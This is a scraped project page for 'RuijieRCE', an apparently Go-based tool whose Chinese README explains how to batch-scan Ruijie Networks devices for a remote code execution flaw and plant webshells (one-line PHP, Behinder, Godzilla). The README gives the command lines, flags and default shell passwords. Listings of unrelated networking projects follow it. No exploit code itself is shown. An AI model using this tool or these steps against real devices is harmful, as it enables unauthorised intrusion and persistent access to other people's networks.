锐捷Ruijie Networks RCE漏洞检测工具,可批量检测上🔪、冰蝎、哥斯拉

Related tags

Security RuijieRCE
Overview

RuijieRCE

Ruijie Networks RCE漏洞检测工具,为方便渗透测试使用,可以批量检测,也会生成历史记录。同时也为防止他人恶意使用,可自定义GET参数密码,该密码由sha256加密,难以破解。同时也可以上传冰蝎马或者哥斯拉马。批量检测支持并发。

参数

Usage of ./RuijieRCE:
  -f string
    	导入.txt文件批量扫描
  -k string
    	写入shell密钥,一句话马默认为cmd,哥斯拉马默认为key,冰蝎马没有密钥
  -n string
    	写入shell默认一句话马🐎,B冰蝎马,G哥斯拉马
  -p string
    	写入shell密码,一句话马默认为cmd,哥斯拉马默认为pass,冰蝎马默认为rebeyond
  -u string
    	目标URL

使用

检测到漏洞后生成随机数.php文件执行命令,也可以上菜刀。

上传一句话木马

GET密码:cmd POST密码:cmd

./RuijieRCE -u http://127.0.0.1:4430

设置密码

-n参数为POST密码,-p参数为GET密码 这两个参数缺省时均为cmd,可以只设置一个或者同时都设置

./RuijieRCE -u http://127.0.0.1:4430 -n asd -p zxc

上传冰蝎马

默认密钥为rebeyond,也可以使用-p参数修改

./RuijieRCE -u http://127.0.0.1:4430 -n B -p rebeyond

上传哥斯拉马

哥斯拉加密器使用BASE64,默认密码为pass,密钥为key

./RuijieRCE -u http://127.0.0.1:4430 -n G -p pass -k key

批量测试

批量测试时也可以设置上传冰蝎马、哥斯拉马以及自定义密码

./RuijieRCE -f url.txt
You might also like...
Use SQL to instantly query instances, networks, databases, and more from Scaleway. Open source CLI. No DB required.
Use SQL to instantly query instances, networks, databases, and more from Scaleway. Open source CLI. No DB required.

Scaleway Plugin for Steampipe Use SQL to query infrastructure servers, networks, databases and more from your Scaleway project. Get started → Document

mmdb-dump-networks - print every network in an MMDB to STDOUT

mmdb-dump-networks mmdb-dump-networks - print every network in an MMDB to STDOUT Project Description Usage Description Installation Reporting Bugs and

Mount your podman container into WireGuard networks on spawn

wg-pod A tool to quickly join your podman container/pod into a WireGuard network. Explanation wg-pod wires up the tools ip,route,wg and podman. It cre

Attach services to specified networks automatically

Docker swarm network attacher Description docker-swarm-network-attacher aims to solve the problem of sharing a network between unrelated services. Wit

A memory-safe SSH server, focused on listening only on VPN networks such as Tailscale

Features Is tested to work with SCP Integrates well with systemd Quickstart Download binary for your architecture. We only support Linux. If you don't

A collection of route planning algorithms for road networks.

route-planning A collection of route planning algorithms for road networks. This collection contains different route planning techniques from a lectur

A kubernetes cni, connecting containers to neutron virtual networks.
A kubernetes cni, connecting containers to neutron virtual networks.

neutron-cni A kubernetes cni, connecting containers to neutron virtual networks. Network Topology Architecture Quick Start Build make build-dev-im

Overlay networks based on WebRTC.
Overlay networks based on WebRTC.

weron Overlay networks based on WebRTC. ⚠️ weron has not yet been audited! While we try to make weron as secure as possible, it has not yet undergone

Owner
1ight
1ight
Neural Networks written in go

gobrain Neural Networks written in go Getting Started The version 1.0.0 includes just basic Neural Network functions such as Feed Forward and Elman Re

Go Machine Learning 526 Sep 27, 2022
Implementation of E(n)-Equivariant Graph Neural Networks, in Pytorch

EGNN - Pytorch Implementation of E(n)-Equivariant Graph Neural Networks, in Pytorch. May be eventually used for Alphafold2 replication.

Phil Wang 238 Sep 22, 2022
A flexible configuration manager for Wireguard networks

Drago A flexible configuration manager for WireGuard networks Drago is a flexible configuration manager for WireGuard networks which is designed to ma

Seashell 982 Sep 25, 2022
webrpc is a schema-driven approach to writing backend services for modern Web apps and networks

webrpc is a schema-driven approach to writing backend servers for the Web. Write your server's api interface in a schema format of RIDL or JSON, and t

null 471 Sep 17, 2022
The Swiss Army knife for 802.11, BLE and Ethernet networks reconnaissance and MITM attacks.

bettercap is a powerful, easily extensible and portable framework written in Go which aims to offer to security researchers, red teamers and reverse e

bettercap 11.8k Sep 21, 2022
Transfer 10Gbps http traffic over 1Gbps networks :)

httpteleport Teleports 10Gbps http traffic over 1Gbps networks. Built on top of fastrpc. Use cases httpteleport may significantly reduce inter-server

Aliaksandr Valialkin 444 Jun 14, 2022
Netmaker is a tool for creating and managing virtual networks

Netmaker is a tool for creating and managing virtual networks. The goal is to make virtual/overlay/mesh networking easy for non-networking people. It should be like clicking a button. Netmaker consists of a server, an agent, and a UI.

GRAVITL 5k Sep 19, 2022
a Framework for creating mesh networks using technologies and design patterns of Erlang/OTP in Golang

Ergo Framework Implementation of Erlang/OTP in Golang. Up to x5 times faster than original Erlang/OTP. The easiest drop-in replacement for your hot no

Taras Halturin 1.8k Sep 25, 2022
A Lightweight VPN Built on top of Libp2p for Truly Distributed Networks.

Hyprspace A Lightweight VPN Built on top of Libp2p for Truly Distributed Networks. demo.mp4 Table of Contents A Bit of Backstory Use Cases A Digital N

Hyprspace 313 Sep 15, 2022
Data source provider for Terraform that interacts with the Solana networks

Terraform Solana Provider Registry Page Requirements Terraform >= 0.13.x Go 1.16.x (for building from source) Example Usage Full provider documentatio

Matthew Callens 8 Aug 6, 2022